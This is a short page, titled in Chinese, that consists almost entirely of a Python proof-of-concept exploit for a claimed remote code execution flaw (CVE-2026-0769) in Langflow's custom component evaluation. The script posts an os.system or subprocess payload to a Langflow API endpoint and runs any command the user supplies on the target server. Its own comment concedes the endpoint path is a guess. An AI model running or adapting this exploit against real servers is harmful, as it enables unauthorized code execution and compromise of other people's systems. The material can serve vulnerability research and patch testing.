CVE-2026-0769 Langflow eval_custom_component_code 远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-0769 PoC - Langflow RCE via eval_custom_component_code # This PoC demonstrates the remote code execution vulnerability in Langflow import requests import json import sys def exploit(target_url, command="whoami"): """ Exploit CVE-2026-0769 by injecting malicious code through eval_custom_component_code Args: target_url: Base URL of the vulnerable Langflow instance command: System command to execute on the target """ # The vulnerability exists in eval_custom_component_code function # Malicious payload using Python's __import__ to execute system commands payload = f"__import__('os').system('{command}')" # Alternative payload using subprocess module # payload = f"__import__('subprocess').check_output('{command}', shell=True)" try: # Send the malicious payload to the vulnerable endpoint # The exact endpoint may vary based on Langflow version endpoint = f"{target_url.rstrip('/')}/api/v1/custom_component/eval" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } data = { 'code': payload, 'function': 'eval_custom_component_code' } print(f"[*] Targeting: {endpoint}") print(f"[*] Payload: {payload}") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit successful! Command executed.") else: print("[-] Exploit failed. Check the target and payload.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [command]") print(f"Example: {sys.argv[0]} http://target.com:7860 whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, cmd)